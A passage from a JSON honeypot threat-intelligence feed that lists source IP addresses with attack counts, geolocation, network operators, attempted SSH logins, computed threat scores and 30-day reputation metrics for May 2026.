      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "43.228.157.165": {
      "attack_count": 12,
      "first_seen": "2026-05-12T20:23:07.294Z",
      "last_seen": "2026-05-14T06:18:22.817Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:23:07.294000+00:00",
        "last_seen_30d": "2026-05-14T06:28:31.189000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "177.68.194.220": {
      "attack_count": 8,
      "first_seen": "2026-05-23T23:17:52.795Z",
      "last_seen": "2026-05-23T23:25:56.926Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:17:52.795000+00:00",
        "last_seen_30d": "2026-05-23T23:27:04.512000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "205.210.31.23": {
      "attack_count": 8,
      "first_seen": "2026-05-11T22:57:54.501Z",
      "last_seen": "2026-05-21T10:29:27.425Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 45.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 16.7,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 20,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:28:48+00:00",
        "last_seen_30d": "2026-05-21T10:30:33.218000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 8,
        "Honeytrap": 3,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "20.65.194.130": {
      "attack_count": 7,
      "first_seen": "2026-05-05T23:27:43.787Z",
      "last_seen": "2026-05-05T23:27:53.792Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:27:43.787000+00:00",
        "last_seen_30d": "2026-05-09T02:41:51.132000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 7
      }
    },
    "118.79.130.243": {
      "attack_count": 6,
      "first_seen": "2026-05-13T21:29:05.732Z",
      "last_seen": "2026-05-22T16:38:14.803Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:29:05.732000+00:00",
        "last_seen_30d": "2026-05-22T16:39:19.583000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "198.235.24.218": {
      "attack_count": 6,
      "first_seen": "2026-05-20T18:39:26.561Z",
      "last_seen": "2026-05-23T16:32:17.731Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T03:09:20.934000+00:00",
        "last_seen_30d": "2026-05-30T22:26:52.066000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 24,
        "Cowrie": 6,
        "ConPot": 1
      }
    },
    "198.235.24.71": {
      "attack_count": 6,
      "first_seen": "2026-05-13T06:50:38.505Z",
      "last_seen": "2026-05-15T22:08:25.797Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 80.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T21:46:43+00:00",
        "last_seen_30d": "2026-05-31T15:59:27.159000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 31,
        "Cowrie": 6
      }
    },
    "35.195.176.138": {
      "attack_count": 6,
      "first_seen": "2026-05-26T07:29:12.663Z",
      "last_seen": "2026-05-26T07:30:00.351Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T07:29:12.663000+00:00",
        "last_seen_30d": "2026-05-26T07:31:07.063000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "70.40.61.250": {
      "attack_count": 6,
      "first_seen": "2026-05-12T04:35:35.578Z",
      "last_seen": "2026-05-12T04:39:43.063Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Audubon",
      "asn": 16904,
      "as_org": "Arvig Enterprises Inc.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:21:05.016000+00:00",
        "last_seen_30d": "2026-05-12T04:40:48.913000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "89.36.160.95": {
      "attack_count": 6,
      "first_seen": "2026-05-28T04:59:33.262Z",
      "last_seen": "2026-05-28T04:59:40.481Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T04:59:33.262000+00:00",
        "last_seen_30d": "2026-05-28T05:00:42.228000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "14.103.114.55": {
      "attack_count": 5,
      "first_seen": "2026-05-28T00:30:11.041Z",
      "last_seen": "2026-05-28T00:32:11.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "master123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T00:30:11.041000+00:00",
        "last_seen_30d": "2026-05-28T00:32:11.046000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 2
      }
    },
    "185.220.101.36": {
      "attack_count": 5,
      "first_seen": "2026-05-18T18:53:59.711Z",
      "last_seen": "2026-05-18T18:54:10.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "freepbxuser"
      ],
      "passwords_attempted": [
        "m@XiC0oC1Ty"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:53:59.711000+00:00",
        "last_seen_30d": "2026-05-18T18:55:11.596000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "118.251.20.156": {
      "attack_count": 4,
      "first_seen": "2026-05-23T03:31:12.027Z",
      "last_seen": "2026-05-23T03:32:22.451Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:31:12.027000+00:00",
        "last_seen_30d": "2026-05-23T03:33:23.165000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "121.29.149.51": {
      "attack_count": 4,
      "first_seen": "2026-05-11T01:41:03.039Z",
      "last_seen": "2026-05-11T01:41:18.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:41:03.039000+00:00",
        "last_seen_30d": "2026-05-11T01:42:20.929000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "41.82.108.140": {
      "attack_count": 4,
      "first_seen": "2026-05-26T14:40:36.184Z",
      "last_seen": "2026-05-26T14:42:39.912Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T14:40:36.184000+00:00",
        "last_seen_30d": "2026-05-26T14:53:23.084000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "79.106.225.176": {
      "attack_count": 4,
      "first_seen": "2026-05-23T04:13:00.980Z",
      "last_seen": "2026-05-23T09:36:24.564Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Fier",
      "asn": 42313,
      "as_org": "One Albania Sh.a.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:13:00.980000+00:00",
        "last_seen_30d": "2026-05-23T09:37:26.973000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "85.217.140.14": {
      "attack_count": 4,
      "first_seen": "2026-05-04T19:28:45.899Z",
      "last_seen": "2026-05-04T19:28:46.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2008,
        "days_active_30d": 30,
        "ports_targeted_30d": 909,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:40:39+00:00",
        "last_seen_30d": "2026-05-31T05:35:06.928000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1097,
        "Honeytrap": 907,
        "Cowrie": 4
      }
    },
    "1.145.107.41": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:08:37.476Z",
      "last_seen": "2026-05-17T07:08:51.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:08:37.476000+00:00",
        "last_seen_30d": "2026-05-17T07:09:57.373000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.143.11.150": {
      "attack_count": 2,
      "first_seen": "2026-05-14T11:21:31.573Z",
      "last_seen": "2026-05-14T11:21:31.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:21:31.573000+00:00",
        "last_seen_30d": "2026-05-14T11:22:32.920000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.144.201.32": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:23:37.730Z",
      "last_seen": "2026-05-23T10:23:49.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 139762,
      "as_org": "Solution",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:23:37.730000+00:00",
        "last_seen_30d": "2026-05-23T10:24:53.666000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.159.192.149": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:46:03.679Z",
      "last_seen": "2026-05-12T18:48:03.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137000,
      "as_org": "VIJAYALAKSHMI NET SERVICES PVT LTD",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T18:46:03.679000+00:00",
        "last_seen_30d": "2026-05-12T18:59:01.982000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.160.130.149": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:12:36.962Z",
      "last_seen": "2026-05-17T00:12:49.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 55736,
      "as_org": "Dataknox Pty Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:12:36.962000+00:00",
        "last_seen_30d": "2026-05-17T00:13:54.314000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.138.40.121": {
      "attack_count": 2,
      "first_seen": "2026-05-15T01:24:55.963Z",
      "last_seen": "2026-05-15T01:26:56.064Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T01:24:55.963000+00:00",
        "last_seen_30d": "2026-05-15T01:37:57.578000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.248.122.183": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:11:32.065Z",
      "last_seen": "2026-05-23T05:11:45.758Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:11:32.065000+00:00",
        "last_seen_30d": "2026-05-23T05:12:49.978000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.44.232.40": {
      "attack_count": 2,
      "first_seen": "2026-05-23T18:01:04.248Z",
      "last_seen": "2026-05-23T18:01:34.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:01:04.248000+00:00",
        "last_seen_30d": "2026-05-23T18:02:42.795000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.252.220.137": {
      "attack_count": 2,
      "first_seen": "2026-05-03T11:04:24.226Z",
      "last_seen": "2026-05-03T11:04:37.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 134375,
      "as_org": "Fusionnet Web Services Private Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T11:04:24.226000+00:00",
        "last_seen_30d": "2026-05-03T11:05:38.390000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.99.167.34": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:59:25.216Z",
      "last_seen": "2026-05-22T22:00:26.188Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:59:25.216000+00:00",
        "last_seen_30d": "2026-05-22T22:01:31.385000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.248.124.56": {
      "attack_count": 2,
      "first_seen": "2026-05-09T08:50:01.719Z",
      "last_seen": "2026-05-09T08:50:33.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 9845,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T08:50:01.719000+00:00",
